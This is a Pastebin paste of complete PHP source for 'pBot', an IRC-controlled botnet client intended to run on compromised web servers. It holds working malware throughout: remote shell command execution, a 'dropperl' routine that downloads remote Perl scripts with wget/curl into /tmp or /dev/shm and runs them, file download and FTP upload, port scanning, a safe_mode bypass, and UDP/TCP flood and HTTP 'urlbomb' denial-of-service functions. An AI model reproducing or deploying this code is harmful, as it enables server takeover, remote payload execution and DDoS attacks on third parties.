shredded

Pbot ready to configure.

Jun 25th, 2014
692
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.25 KB | None | 0 0
  1. <?
  2.  
  3. /****************************************************/
  4. /* pbel - by s0 */
  5. /* credits: the original author of pbot ( ? ) */
  6. /****************************************************/
  7.  
  8.  
  9. set_time_limit( 0 );
  10. error_reporting( 0 );
  11. echo "Success!";
  12.  
  13. class pBot
  14. {
  15. var $using_encode = true;
  16.  
  17. var $config = array(
  18. 'server' => 'MTI3LjAuMC4x', //server here (base64)
  19. 'port' => 6667,
  20. 'chan' => 'bGF6eQ==', //channel here (base64) DO NOT USE "#", "#lazy" = "lazy"
  21. 'key' => '',
  22. 'nickform' => 'SLOTH[%d]',
  23. 'identp' => 'ez',
  24. 'modes' => '+p',
  25. 'maxrand' => 6,
  26. 'cprefix' => '.',
  27. 'host' => '*'
  28. );
  29.  
  30. var $admins = array
  31. (
  32. 's0beit' => '098f6bcd4621d373cade4e832627b4f6' // pass = "test"
  33. //passes are MD5 format, you can also have multiple admins
  34. );
  35.  
  36. function auth_host( $nick, $password, $host )
  37. {
  38. $admin_count = count( $this->admins );
  39. if( $admin_count > 0 )
  40. {
  41. $mpass = md5( $password );
  42. if( $this->admins[ $nick ] == $mpass )
  43. {
  44. $this->users[ $host ] = true;
  45. }
  46. }
  47. else
  48. {
  49. $this->users[ $host ] = true;
  50. }
  51. }
  52.  
  53. function is_authed( $host )
  54. {
  55. return isset( $this->users[ $host ] );
  56. }
  57.  
  58. function remove_auth( $host )
  59. {
  60. unset( $this->users[ $host ] );
  61. }
  62.  
  63. function ex( $cfe )
  64. {
  65. $res = '';
  66. if (!empty($cfe))
  67. {
  68. if(function_exists('class_exists') && class_exists('Perl'))
  69. {
  70. $perl = new Perl();
  71. $perl->eval( "system('$cfe');" );
  72. }
  73. if(function_exists('exec'))
  74. {
  75. @exec($cfe,$res);
  76. $res = join("\n",$res);
  77. }
  78. elseif(function_exists('shell_exec'))
  79. {
  80. $res = @shell_exec($cfe);
  81. }
  82. elseif(function_exists('system'))
  83. {
  84. @ob_start();
  85. @system($cfe);
  86. $res = @ob_get_contents();
  87. @ob_end_clean();
  88. }
  89. elseif(function_exists('passthru'))
  90. {
  91. @ob_start();
  92. @passthru($cfe);
  93. $res = @ob_get_contents();
  94. @ob_end_clean();
  95. }
  96. elseif(function_exists('proc_open'))
  97. {
  98. $res = proc_open($cfe);
  99. }
  100. elseif(@is_resource($f = @popen($cfe,"r")))
  101. {
  102. $res = "";
  103. while(!@feof($f)) { $res .= @fread($f,1024); }
  104. @pclose($f);
  105. }
  106. }
  107. return $res;
  108. }
  109.  
  110. function is_safe( )
  111. {
  112. if( ( @eregi( "uid", $this->ex( "id" ) ) ) || ( @eregi( "Windows", $this->ex( "net start" ) ) ) )
  113. {
  114. return 0;
  115. }
  116. return 1;
  117. }
  118.  
  119. function get_chan( )
  120. {
  121. if( $this->using_encode )
  122. {
  123. return '#'.base64_decode( $this->config[ 'chan' ] );
  124. }
  125. else
  126. {
  127. return '#'.$this->config[ 'chan' ];
  128. }
  129. }
  130.  
  131. function start()
  132. {
  133. if( $this->using_encode )
  134. {
  135. if(!($this->conn = fsockopen(base64_decode($this->config['server']),$this->config['port'],$e,$s,30)))
  136. {
  137. $this->start();
  138. }
  139. }
  140. else
  141. {
  142. if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  143. {
  144. $this->start();
  145. }
  146. }
  147.  
  148. $ident = $this->config['prefix'];
  149. $alph = range("0","9");
  150. for( $i=0; $i < $this->config['maxrand']; $i++ )
  151. {
  152. $ident .= $alph[rand(0,9)];
  153. }
  154.  
  155. if( strlen( $this->config[ 'pass' ] ) > 0 )
  156. {
  157. $this->send( "PASS ".$this->config[ 'pass' ] );
  158. }
  159.  
  160. $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  161. $this->set_nick( );
  162. $this->main( );
  163. }
  164.  
  165. function main()
  166. {
  167. while(!feof($this->conn))
  168. {
  169. $this->buf = trim(fgets($this->conn,512));
  170. $cmd = explode(" ",$this->buf);
  171. if(substr($this->buf,0,6)=="PING :")
  172. {
  173. $this->send("PONG :".substr($this->buf,6));
  174. }
  175. if(isset($cmd[1]) && $cmd[1] =="001")
  176. {
  177. $this->send("MODE ".$this->nick." ".$this->config['modes']);
  178.  
  179. if( $this->using_encode )
  180. {
  181. $this->join($this->get_chan( ),base64_decode($this->config['key']));
  182. }
  183. else
  184. {
  185. $this->join($this->get_chan( ),$this->config['key']);
  186. }
  187.  
  188. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  189. else { $safemode = "off"; }
  190. $uname = php_uname();
  191. }
  192. if(isset($cmd[1]) && $cmd[1]=="433")
  193. {
  194. $this->set_nick();
  195. }
  196. if($this->buf != $old_buf)
  197. {
  198. $mcmd = array();
  199. $msg = substr(strstr($this->buf," :"),2);
  200. $msgcmd = explode(" ",$msg);
  201. $nick = explode("!",$cmd[0]);
  202. $vhost = explode("@",$nick[1]);
  203. $vhost = $vhost[1];
  204. $nick = substr($nick[0],1);
  205. $host = $cmd[0];
  206. if($msgcmd[0]==$this->nick)
  207. {
  208. for($i=0;$i<count($msgcmd);$i++)
  209. $mcmd[$i] = $msgcmd[$i+1];
  210. }
  211. else
  212. {
  213. for($i=0;$i<count($msgcmd);$i++)
  214. $mcmd[$i] = $msgcmd[$i];
  215. }
  216. if(count($cmd)>2)
  217. {
  218. switch($cmd[1])
  219. {
  220. case "QUIT":
  221. {
  222. if( $this->is_authed( $host ) )
  223. {
  224. $this->remove_auth( $host );
  225. }
  226. }
  227. break;
  228. case "PART":
  229. {
  230. if( $this->is_authed( $host ) )
  231. {
  232. $this->remove_auth( $host );
  233. }
  234. }
  235. break;
  236. case "PRIVMSG":
  237. if( ( substr($mcmd[0],0,1) == $this->config[ 'cprefix' ] ) )
  238. {
  239. if( $this->is_authed( $host ) == false )
  240. {
  241. switch( substr( $mcmd[ 0 ], 1 ) )
  242. {
  243. case "auth":
  244. {
  245. $this->auth_host( $nick, $mcmd[ 1 ], $host );
  246. if( $this->is_authed( $host ) )
  247. {
  248. $this->privmsg( $this->get_chan( ), "[ auth ] Successful login from [ ".$nick." ]" );
  249. }
  250. else
  251. {
  252. $this->privmsg( $this->get_chan( ), "[ auth ] Failed attempt from [ ".$nick." ]" );
  253. }
  254. break;
  255. }
  256. }
  257. }
  258. else
  259. {
  260. switch(substr($mcmd[0],1))
  261. {
  262. case "exec":
  263. {
  264. if( !$this->is_safe( ) )
  265. {
  266. $command = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
  267. $returndata = $this->ex( $command );
  268. if( !empty( $returndata ) )
  269. {
  270. $this->privmsg( $this->get_chan( ), '[ exec ] '.$returndata );
  271. }
  272. }
  273. break;
  274. }
  275. case "info":
  276. {
  277. $safemode = "on";
  278. if( !$this->is_safe( ) )
  279. {
  280. $safemode = "off";
  281. }
  282. $this->privmsg( $this->get_chan( ), '[ info ] '.php_uname( ).' ( SAFE: '.$safemode.' )' );
  283. break;
  284. }
  285. case "safe":
  286. {
  287. $safemode = "on";
  288. if( !$this->is_safe( ) )
  289. {
  290. $safemode = "off";
  291. }
  292. $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
  293. break;
  294. }
  295. case "uname":
  296. {
  297. $this->privmsg( $this->get_chan( ), '[ uname ] '.php_uname( ) );
  298. break;
  299. }
  300. case "dropperl":
  301. {
  302. if( $this->is_safe( ) )
  303. {
  304. $this->privmsg( $this->get_chan( ), '[ dropperl ] Safe mode is ON' );
  305. break;
  306. }
  307.  
  308. $perl_file = $mcmd[1];
  309.  
  310. if( !empty( $perl_file ) )
  311. {
  312. $parsed_url = $this->parse_url_s( $perl_file );
  313.  
  314. $new_remote = $parsed_url[ 'scheme' ].'://'.$parsed_url[ 'host' ].$parsed_url[ 'dir' ].'/';
  315. $new_local = $parsed_url[ 'file' ];
  316. $file_type = $parsed_url[ 'file_ext' ];
  317.  
  318. $this->ex('cd /tmp;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  319. $this->ex('cd /tmp;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  320. $this->ex('cd /tmp;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  321. $this->ex('cd /tmp;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  322. $this->ex('cd /dev/shm;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  323. $this->ex('cd /dev/shm;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  324. $this->ex('cd /dev/shm;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  325. $this->ex('cd /dev/shm;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  326. $this->ex('cd /tmp;rm -rf *'.$file_type.'**');
  327. $this->ex('cd /dev/shm;rm -rf *'.$file_type.'**');
  328.  
  329. $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$new_remote.$new_local );
  330. break;
  331. }
  332.  
  333. $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$perl_file );
  334. break;
  335. }
  336. case "ip":
  337. {
  338. $this->privmsg( $this->get_chan( ), '[ ip ] '.$_SERVER['SERVER_ADDR'] );
  339. break;
  340. }
  341. case "execrfi":
  342. {
  343. $fileUrl = $mcmd[1];
  344.  
  345. if( !empty( $fileUrl ) )
  346. {
  347. $urli = parse_url( $fileUrl );
  348.  
  349. if( !empty( $urli['host'] ) && !empty( $urli['path'] ) && !empty( $urli['query'] ) )
  350. {
  351. $fp = fsockopen( $urli['host'], 80, $errno, $errstr, 5 );
  352.  
  353. if( $fp )
  354. {
  355. $out = "GET /".$urli['path'].$urli['query']." HTTP/1.1\r\n";
  356. $out .= "Host: ".$urli['host']."\r\n";
  357. $out .= "Keep-Alive: 300\r\n";
  358. $out .= "Connection: keep-alive\r\n\r\n";
  359. fwrite( $fp, $out );
  360.  
  361. $get_data = '';
  362.  
  363. while(!feof($fp))
  364. { $get_data .= fgets( $fp, 256 ); }
  365.  
  366. $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$fileUrl );
  367. break;
  368. }
  369. }
  370. }
  371.  
  372. $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$fileUrl );
  373. break;
  374. }
  375. case "base64":
  376. {
  377. $str_ed = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
  378. switch( $mcmd[1] )
  379. {
  380. case "encode":
  381. {
  382. $this->privmsg( $this->get_chan( ), "[ base64 ] encode [ '".$str_ed."' -> '".base64_encode($str_ed)."' ]" );
  383. break;
  384. }
  385. case "decode":
  386. {
  387. $this->privmsg( $this->get_chan( ), "[ base64 ] decode [ '".$str_ed."' -> '".base64_decode($str_ed)."' ]" );
  388. break;
  389. }
  390. }
  391. break;
  392. }
  393. case "md5":
  394. {
  395. $str_md5 = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
  396. $this->privmsg( $this->get_chan( ), "[ md5 ] [ '".$str_md5."' -> '".md5($str_md5)."' ]" );
  397. break;
  398. }
  399. case "dns":
  400. {
  401. if(isset($mcmd[1]))
  402. {
  403. $ip = explode(".",$mcmd[1]);
  404. if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
  405. && is_numeric($ip[2]) && is_numeric($ip[3]))
  406. {
  407. $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  408. }
  409. else
  410. {
  411. $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  412. }
  413. }
  414. break;
  415. }
  416. case "exit":
  417. {
  418. fclose( $this->conn );
  419. exit( );
  420. break;
  421. }
  422. case "restart":
  423. {
  424. $this->privmsg( $this->get_chan( ), "[ restart ] executed by [".$nick."]" );
  425. $this->send( "QUIT :restart command from ".$nick );
  426. fclose( $this->conn );
  427. $this->start();
  428. break;
  429. }
  430. case "breaksafe":
  431. {
  432. if( $this->is_safe( ) )
  433. {
  434. ini_restore( "safe_mode" );
  435. ini_restore( "open_basedir" );
  436. }
  437.  
  438. $safemode = "on";
  439. if( !$this->is_safe( ) )
  440. {
  441. $safemode = "off";
  442. $this->set_nick();
  443. }
  444. $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
  445. }
  446. case "moveserver":
  447. {
  448. if( count( $mcmd ) > 3 )
  449. {
  450. $server = $mcmd[1];
  451. $port = $mcmd[2];
  452. $channel = $mcmd[3];
  453. $key = $mcmd[4];
  454.  
  455. if( $this->using_encode )
  456. {
  457. $this->config[ 'server' ] = base64_encode( $server );
  458. $this->config[ 'chan' ] = base64_encode( str_replace( "#", "", $channel ) );
  459. $this->config[ 'key' ] = base64_encode( $key );
  460. }
  461. else
  462. {
  463. $this->config[ 'server' ] = $server;
  464. $this->config[ 'chan' ] = str_replace( "#", "", $channel );
  465. $this->config[ 'key' ] = $key;
  466. }
  467.  
  468. $this->config[ 'port' ] = $port;
  469. $this->privmsg( $this->get_chan( ), "[ moveserver ] ".$server." => ".$port." => ".$channel." => ".$key );
  470. $this->send( "QUIT :moveserver command from ".$nick );
  471.  
  472. fclose( $this->conn );
  473. $this->start();
  474. }
  475. break;
  476. }
  477. case "whois":
  478. {
  479. $param2 = $mcmd[1];
  480.  
  481. if( !empty( $param2 ) )
  482. {
  483. //do it
  484. //http://ws.arin.net/whois/?queryinput=127.0.0.1
  485. $fp = fsockopen( "ws.arin.net", 80, $errno, $errstr, 30 );
  486.  
  487. if( $fp )
  488. {
  489. $out = "GET /whois/?queryinput=$param2 HTTP/1.1\r\n";
  490. $out .= "Host: ws.arin.net\r\n";
  491. $out .= "Keep-Alive: 300\r\n";
  492. $out .= "Connection: keep-alive\r\n\r\n";
  493. fwrite( $fp, $out );
  494.  
  495. $whodata = '';
  496. while(!feof($fp))
  497. {
  498. /*do nothing*/
  499. $whodata .= fread( $fp, 1024 );
  500. }
  501.  
  502. $explk = explode( "<div id=\"content\">", $whodata );
  503. $explk = explode( "</div>", $explk[1] );
  504. $htmldat = strip_tags( $explk[0] );
  505.  
  506. fclose( $fp );
  507.  
  508. $this->privmsg( $this->get_chan( ), "[ whois ] $htmldat" );
  509.  
  510. }else{
  511. $this->privmsg( $this->get_chan( ), "[ whois ] Error: $errstr" );
  512. }
  513. }
  514. else
  515. {
  516. $this->privmsg( $this->get_chan( ), "[ whois ] Invalid params, use .whois <ip/host>" );
  517. }
  518. break;
  519. }
  520. case "upftp":
  521. {
  522. //ftp://user:password@host.com
  523. $pftp = parse_url( $mcmd[1] );
  524. $file = $mcmd[2];
  525. $dest = $mcmd[3];
  526.  
  527. if( empty( $pftp[ 'host' ] )
  528. || empty( $pftp[ 'user' ] )
  529. || empty( $pftp[ 'pass' ] )
  530. || empty( $file )
  531. || empty( $dest ) )
  532. {
  533. $this->privmsg( $this->get_chan( ), "[ upftp ] URL line invalid!" );
  534. }
  535. else
  536. {
  537. $conn_id = ftp_connect( $pftp[ 'host' ] );
  538. $login_result = ftp_login( $conn_id, $pftp[ 'user' ], $pftp[ 'pass' ] );
  539.  
  540. if( ( !$conn_id ) || ( !$login_result ) )
  541. {
  542. $this->privmsg( $this->get_chan( ), "[ upftp ] FTP connection failed!" );
  543. }
  544. else
  545. {
  546. $this->privmsg( $this->get_chan( ), "[ upftp ] Connected to ".$pftp[ 'host' ]." for user ".$pftp[ 'user' ] );
  547. $upload = ftp_put( $conn_id, $dest, $file, FTP_BINARY );
  548. if( !$upload )
  549. {
  550. $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload faled!" );
  551. }
  552. else
  553. {
  554. $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload success!" );
  555. $this->privmsg( $this->get_chan( ), "[ upftp ] Uploaded '".$file."' to '".$dest."'" );
  556. }
  557. }
  558. }
  559. break;
  560. }
  561. case "joinchan":
  562. {
  563. $channel = $mcmd[1];
  564. $key = $mcmd[2];
  565. $this->privmsg( $this->get_chan( ), "[ joinchan ] ".$channel." => ".$key );
  566. $this->join( $channel, $key );
  567. break;
  568. }
  569. case "partchan":
  570. {
  571. $this->privmsg( $this->get_chan( ), "[ partchan ] ".$mcmd[1] );
  572. $this->send( "PART ".$mcmd[1] );
  573. }
  574. case "getvuln":
  575. {
  576. $server_name = $_SERVER['SERVER_NAME'];
  577. $req_uri = $_SERVER['REQUEST_URI'];
  578.  
  579. if( $server_name != "localhost" && $server_name != "127.0.0.1" )
  580. {
  581. if( strlen( $server_name ) && strlen( $req_uri ) )
  582. {
  583. $vuln = "http://".$server_name.$req_uri;
  584. $this->privmsg( $this->get_chan( ), "[ getvuln ] ".$vuln );
  585. }
  586. }
  587. break;
  588. }
  589. case "download":
  590. {
  591. if( count( $mcmd ) > 2 )
  592. {
  593. if( !$fp = fopen( $mcmd[ 2 ], "w" ) )
  594. {
  595. $this->privmsg( $this->get_chan( ), "[ download ] Permission denied!" );
  596. }
  597. else
  598. {
  599. if( !$get = file( $mcmd[ 1 ] ) )
  600. {
  601. $this->privmsg( $this->get_chan( ), "[ download ] Download failed!" );
  602. }
  603. else
  604. {
  605. for( $i=0; $i <= count( $get ); $i++ )
  606. {
  607. fwrite( $fp, $get[ $i ] );
  608. }
  609. $this->privmsg( $this->get_chan( ),"[ download ] URL [".$mcmd[ 1 ]."] to [".$mcmd[ 2 ]."]");
  610. }
  611.  
  612. fclose( $fp );
  613. }
  614. }
  615. else
  616. {
  617. $this->privmsg( $this->get_chan( ), "[ download ] Invalid Parameters, idiot!" );
  618. }
  619. break;
  620. }
  621. case "pmsg":
  622. {
  623. $person = $mcmd[1];
  624. $text = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
  625. $this->privmsg( $this->get_chan( ), "[ pmsg ] ".$person." => ".$text );
  626. $this->privmsg( $person, $text );
  627. break;
  628. }
  629. case "pscan":
  630. {
  631. $host = $mcmd[1];
  632. $beginport = $mcmd[2];
  633. $endport = $mcmd[3];
  634. $open_ports = "Open Port List for ".$host.": ";
  635.  
  636. for($i = $beginport; $i < $endport; $i++)
  637. {
  638. if( $this->scanport( $host, $i ) )
  639. {
  640. $open_ports .= "|".$i;
  641. }
  642. }
  643.  
  644. $this->privmsg( $this->get_chan( ), $open_ports );
  645. break;
  646. }
  647. case "software":
  648. {
  649. $this->privmsg( $this->get_chan( ), $_SERVER[ 'SERVER_SOFTWARE' ] );
  650. break;
  651. }
  652. case "snf":
  653. {
  654. $this->config[ 'nickform' ] = $mcmd[ 1 ];
  655. $this->privmsg( $this->get_chan( ), "Nickname format set to [ ".$mcmd[ 1 ]." ]" );
  656. break;
  657. }
  658. case "randnick":
  659. {
  660. $this->set_nick();
  661. break;
  662. }
  663. case "unauth":
  664. {
  665. $this->remove_auth( $host );
  666. $this->privmsg( $this->get_chan( ), "[ auth ] Logout [ ".$nick." ]" );
  667. break;
  668. }
  669. case "urlbomb":
  670. {
  671. $this->urlbomb( $mcmd[ 1 ], $mcmd[ 2 ], $mcmd[ 3 ] );
  672. break;
  673. }
  674. case "udpflood":
  675. {
  676. if( count( $mcmd ) > 3 )
  677. {
  678. $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  679. }
  680. break;
  681. }
  682. case "tcpflood":
  683. {
  684. if( count( $mcmd ) > 5 )
  685. {
  686. $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  687. }
  688. break;
  689. }
  690. }
  691. }
  692. }
  693. break;
  694. }
  695. }
  696. }
  697. $old_buf = $this->buf;
  698. }
  699. $this->start();
  700. }
  701.  
  702. function scanport( $host, $port )
  703. {
  704. if( fsockopen( $host, $port, $e, $s ) )
  705. {
  706. return 1;
  707. }
  708. return 0;
  709. }
  710.  
  711. function urlbomb( $host, $path, $times, $mode = 0 )
  712. {
  713. if( !isset( $host ) || !isset( $path ) || !isset( $times ) )
  714. return;
  715.  
  716. $this->privmsg( $this->get_chan( ), '[ urlbomb ] started! [ '.$host.'/'.$path.' ]' );
  717.  
  718. $success = 0;
  719. for( $i = 0; $i < $times; $i++ )
  720. {
  721. $fp = fsockopen( $host, 80, $errno, $errstr, 30 );
  722. if( $fp )
  723. {
  724. $out = "GET /".$path." HTTP/1.1\r\n";
  725. $out .= "Host: ".$host."\r\n";
  726. $out .= "Keep-Alive: 300\r\n";
  727. $out .= "Connection: keep-alive\r\n\r\n";
  728. fwrite( $fp, $out );
  729.  
  730. if( $mode != 0 )
  731. {
  732. while(!feof($fp)){/*do nothing*/}
  733. }
  734.  
  735. fclose( $fp );
  736.  
  737. $success++;
  738. }
  739. }
  740.  
  741. $this->privmsg( $this->get_chan( ), '[ urlbomb ] finished! [ '.$host.'/'.$path.' ][ success: '.$success.' ]' );
  742. }
  743.  
  744. function udpflood( $host, $packetsize, $time )
  745. {
  746. $this->privmsg( $this->get_chan( ),"[ udpflood ] Started [".$host."]" );
  747. $packet = "";
  748. for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  749. $timei = time();
  750. $i = 0;
  751. while(time()-$timei < $time)
  752. {
  753. $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  754. fwrite($fp,$packet);
  755. fclose($fp);
  756. $i++;
  757. }
  758. $env = $i * $packetsize;
  759. $env = $env / 1048576;
  760. $vel = $env / $time;
  761. $vel = round($vel);
  762. $env = round($env);
  763. $this->privmsg( $this->get_chan( ),"[ udpflood ] $env MB Sent / $vel MB/s ");
  764. }
  765.  
  766. function tcpflood($host,$packets,$packetsize,$port,$delay)
  767. {
  768. $this->privmsg( $this->get_chan( ),"[\2TcpFlood Started!\2]");
  769. $packet = "";
  770. for($i=0;$i<$packetsize;$i++)
  771. $packet .= chr(mt_rand(1,256));
  772.  
  773. for($i=0;$i<$packets;$i++)
  774. {
  775. if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  776. {
  777. $this->privmsg( $this->get_chan( ),"[\2TcpFlood\2]: Error: <$e>");
  778. return 0;
  779. }
  780. else
  781. {
  782. fwrite($fp,$packet);
  783. fclose($fp);
  784. }
  785. sleep($delay);
  786. }
  787. $this->privmsg( $this->get_chan( ),"[\2TcpFlood Finished!\2]: Config - $packets for $host:$port.");
  788. }
  789.  
  790. function send($msg)
  791. {
  792. fwrite($this->conn,"$msg\r\n");
  793. }
  794.  
  795. function join($chan,$key=NULL)
  796. {
  797. $this->send("JOIN $chan $key");
  798. }
  799.  
  800. function privmsg($to,$msg)
  801. {
  802. $this->send("PRIVMSG $to :$msg");
  803. }
  804.  
  805. function notice($to,$msg)
  806. {
  807. $this->send("NOTICE $to :$msg");
  808. }
  809.  
  810. function set_nick()
  811. {
  812. $prefix = "[C]";
  813. if(isset($_SERVER['SERVER_SOFTWARE']))
  814. {
  815. if( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "apache" ) )
  816. $prefix = "[A]";
  817. elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "iis" ) )
  818. $prefix = "[I]";
  819. elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "xitami" ) )
  820. $prefix = "[X]";
  821. else
  822. $prefix = "[U]";
  823. }
  824.  
  825. if( !$this->is_safe( ) )
  826. {
  827. $prefix .= "[S]";
  828. }
  829.  
  830. $random_number = "";
  831. for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
  832. {
  833. $random_number .= mt_rand( 0, 9 );
  834. }
  835.  
  836. $this->nick = sprintf( $prefix.$this->config[ 'nickform' ], $random_number );
  837. $this->send("NICK ".$this->nick);
  838. }
  839.  
  840. function parse_url_s( $url )
  841. {
  842. $URLpcs = ( parse_url( $url ) );
  843. $PathPcs = explode( "/", $URLpcs['path'] );
  844. $URLpcs['file'] = end( $PathPcs );
  845. unset( $PathPcs[ key( $PathPcs ) ] );
  846. $URLpcs['dir'] = implode("/",$PathPcs);
  847.  
  848. $fileext = explode( '.', $URLpcs['file'] );
  849.  
  850. if(count($fileext))
  851. {
  852. $URLpcs['file_ext'] = $fileext[ count( $fileext ) - 1 ];
  853. }
  854.  
  855. return ($URLpcs);
  856. }
  857. }
  858.  
  859. $bot = new pBot;
  860. $bot->start();
  861.  
  862. ?>
Add Comment
Please, Sign In to add comment